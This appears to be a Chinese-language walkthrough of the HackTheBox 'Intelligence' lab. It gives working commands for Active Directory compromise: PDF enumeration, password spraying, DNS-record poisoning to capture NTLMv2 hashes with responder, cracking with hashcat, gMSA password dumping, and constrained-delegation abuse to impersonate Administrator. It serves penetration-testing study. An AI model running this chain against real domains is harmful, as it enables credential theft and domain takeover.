本文主要是介绍HackTheBox-Intelligence WP,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
0x01 端口探测
使用nmap对靶机进行探测:
nmap -sV -sC 10.10.10.248
比较标准的DC端口,还多了个WEB的80。
0x02 user.txt
进WEB看看,发现在主页目录可以下载文档。主页能下载的文档文件名为2020-01-01-upload.pdf
遂写了脚本进行爆破,将所有的文档下载下来:
import requestsfor month in range(1, 13):for day in range(1, 32):file_name = "2020-%02d-%02d-upload.pdf" % (month, day)resp = requests.get("http://10.10.10.248/documents/" + file_name)if resp.status_code == 200:print(file_name)with open(file_name, "wb") as f:f.write(resp.content)
其中,大多数文档都是无意义的填充文字,为了避免一个个看过去,写了个脚本提取文字:
# 安装 pip install pdfplumber
import pdfplumber
import sys
# 利用pdfplumber提取文字
file = sys.argv[1]
with pdfplumber.open(file) as pdf:first_page = pdf.pages[0]print(file)print(first_page.extract_text())print()
将脚本保存为extract.py
,该脚本使用方式为python3 extract.py 2020-01-01-upload.pdf
,为了批量处理需要配合shell命令进行使用。
for i in $(ls | grep pdf) ; do python3 extract.py $i ; done > text_extract.txt
查看提取出的文字,对一些字段进行搜索,可以看到在搜索pass时能够看到初始密码:
有了密码,我们还需要用户名才能进行登录,使用工具exiftool
查看用户名:
2020-06-04-upload.pdf
的用户名不能登陆,所以我们需要提取所有的用户名:
for i in $(ls) ; do exiftool $i| grep Creator |awk -F: '{print $2}'; done
将所有的用户名保存为username.txt,使用crackmapexec
进行密码喷洒攻击:
crackmapexec smb 10.10.10.248 -u username.txt -p "NewIntelligenceCorpUser9876"
最终爆破得到如下信息:
domain = intelligence.htb
username = Tiffany.Molina
password = NewIntelligenceCorpUser9876
连上smb翻一下文件,能够找到一个downdetector.ps1
,我们将这个文件下载下来:
smbclient -L //10.10.10.248 -U Tiffany.Molina
╭─root@kali ~/下载/pdf
╰─# smbclient -L //10.10.10.248 -U Tiffany.Molina
Enter WORKGROUP\Tiffany.Molina's password: Sharename Type Comment--------- ---- -------ADMIN$ Disk Remote AdminC$ Disk Default shareIPC$ IPC Remote IPCIT Disk NETLOGON Disk Logon server share SYSVOL Disk Logon server share Users Disk
SMB1 disabled -- no workgroup available╭─root@kali ~/下载/pdf
╰─# smbclient //10.10.10.248/IT -U Tiffany.Molina
Enter WORKGROUP\Tiffany.Molina's password:
Try "help" to get a list of possible commands.
smb: \> dir. D 0 Mon Apr 19 08:50:55 2021.. D 0 Mon Apr 19 08:50:55 2021downdetector.ps1 A 1046 Mon Apr 19 08:50:55 20213770367 blocks of size 4096. 1460376 blocks available
smb: \> get downdetector.ps1
getting file \downdetector.ps1 of size 1046 as downdetector.ps1 (1.1 KiloBytes/sec) (average 1.1 KiloBytes/sec)╭─root@kali ~/下载/pdf
╰─# smbclient //10.10.10.248/Users -U Tiffany.Molina
Enter WORKGROUP\Tiffany.Molina's password:
Try "help" to get a list of possible commands.
smb: \> get Tiffany.Molina\Desktop\user.txt
getting file \Tiffany.Molina\Desktop\user.txt of size 34 as Tiffany.Molina\Desktop\user.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
然后顺手拿个user的flag:
0x03 root.txt
查看downdetector.ps1
,内容如下:
# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {try {$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentialsif(.StatusCode -ne 200) {Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"}} catch {}
}
结合文件名,我们可以推测该脚本的作用。每五分钟,该脚本会查找以“web”开头的域内二级站点,并使用Ted
的凭据为每条找到的记录发送HTTP请求。(使用-UseDefaultCredentials
选项)如果服务器没有返回200 OK状态码,则会向Ted
发送一封邮件。
发送邮件不是我们关心的内容,重要的是HTTP请求带上了用户的凭据信息,我们可以插入一条相对应的DNS记录,指向自己的机子,这样就能拿到Ted.Graves的凭据信息了:
python3 dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -a add -r 'websucks.intelligence.htb' -d 10.10.14.27 10.10.10.248
之后开启responder
,监听vpn的网卡,等最多5分钟就能拿到Ted.Graves的NTLMv2 Hash:
responder -I tun0
使用netcat
进行爆破,最后能够拿到Ted.Graves的密码为Mr.Teddy:
hashcat -m 5600 -a 0 hash "E:\path\pass_en.txt" # 这里的字典就是rockyou.txt
但是登上去后,并没有任何更多的信息,所以不是smb这条路,我们需要换一条思路:
回去翻翻pdf,在最后一条能够发现一些提示信息:
也就是说,此时此刻服务账户是未被锁定的。
看看ldap信息,使用ldapdomaindump
导出所有ldap信息:
ldapdomaindump -u "intelligence.htb\TED.GRAVES" -p "Mr.Teddy" intelligence.htb
一个个看过去,首先在domain_computers
中就能发现一个不同寻常的账户svc_int
,它还配置了约束委派的标志位:
对该机器账户进行更详细的信息收集,使用powersploit的powerview模块,参考:
PS > $SecPassword = ConvertTo-SecureString 'Mr.Teddy' -AsPlainText -Force
PS > $Cred = New-Object System.Management.Automation.PSCredential('intelligence.htb\TED.GRAVES', $SecPassword)
PS > Get-DomainComputer -Domain intelligence.htb -Credential $Cred -Server 10.10.10.248 svc_int
得到信息如下:
pwdlastset : 2021/10/7 21:28:38
logoncount : 0
badpasswordtime : 1601/1/1 8:00:00
msds-managedpasswordpreviousid : {1, 0, 0, 0...}
distinguishedname : CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=htb
objectclass : {top, person, organizationalPerson, user...}
name : svc_int
objectsid : S-1-5-21-4210132550-3389855604-3437519686-1144
msds-groupmsamembership : {1, 0, 4, 128...}
localpolicyflags : 0
codepage : 0
samaccounttype : MACHINE_ACCOUNT
accountexpires : NEVER
countrycode : 0
whenchanged : 2021/10/7 13:28:38
instancetype : 4
usncreated : 12846
objectguid : f180a079-f326-49b2-84a1-34824208d642
msds-managedpasswordid : {1, 0, 0, 0...}
msds-allowedtodelegateto : WWW/dc.intelligence.htb
samaccountname : svc_int$
objectcategory : CN=ms-DS-Group-Managed-Service-Account,CN=Schema,CN=Configuration,DC=intelligence,DC=htb
dscorepropagationdata : 1601/1/1 0:00:00
msds-managedpasswordinterval : 30
lastlogon : 1601/1/1 8:00:00
badpwdcount : 0
cn : svc_int
useraccountcontrol : WORKSTATION_TRUST_ACCOUNT, TRUSTED_TO_AUTH_FOR_DELEGATION
whencreated : 2021/4/19 0:49:58
primarygroupid : 515
iscriticalsystemobject : False
msds-supportedencryptiontypes : 28
usnchanged : 102507
lastlogoff : 1601/1/1 8:00:00
dnshostname : svc_int.intelligence.htb
从objectcategory中我们可以看出,该账户是一个GMSA(Group Managed Service Accounts)账户,详见官方文档:
在PayloadsAllTheThings中,我们能发现对GMSA账户的利用方法:
尝试进行利用,很幸运地读到了该账户的密码(因为我们的Ted用户是itsupport组的成员之一):
╭─root@kali ~/Tools/gMSADumper ‹main›
╰─# python3 gMSADumper.py -u TED.GRAVES -p Mr.Teddy -d intelligence.htbUsers or groups who can read password for svc_int$:> DC$> itsupport
svc_int$:::d170ae19de30439df55d6430e12dd621
之后便可以进行约束委派攻击了,但首先我们需要校准时间,否则Kerberos会报错:
╭─root@kali ~/Tools/gMSADumper ‹main›
╰─# getST.py intelligence.htb/svc_int$ -spn WWW/dc.intelligence.htb -hashes :d170ae19de30439df55d6430e12dd621 -impersonate Administrator
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation[*] Getting TGT for user
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
使用ntpdate
进行校正:
╭─root@kali ~/下载
╰─# ntpdate dc.intelligence.htb 8 Oct 05:36:13 ntpdate[43971]: step time server 10.10.10.248 offset +25196.736528 sec
然后再拿Service Ticket:
╭─root@kali ~/下载
╰─# getST.py intelligence.htb/svc_int$ -spn WWW/dc.intelligence.htb -hashes :d170ae19de30439df55d6430e12dd621 -impersonate Administrator
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache
此外,我们不仅可以访问约束委派配置中用户可以模拟的服务,还可以访问使用与模拟帐户权限允许的任何服务。(因为未检查 SPN,只检查权限)。比如,如果我们能够访问 CIFS 服务,那么同样有权限访问 HOST 服务。注意如果我们有权限访问到 DC 的 LDAP 服务,则有足够的权限去执 行 DCSync。
export后使用impacket
中的smbclient
模块登录拿flag即可:
export KRB5CCNAME=Administrator.ccache
impacket-smbclient intelligence.htb/Administrator@dc.intelligence.htb -k -no-pass
这篇关于HackTheBox-Intelligence WP的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!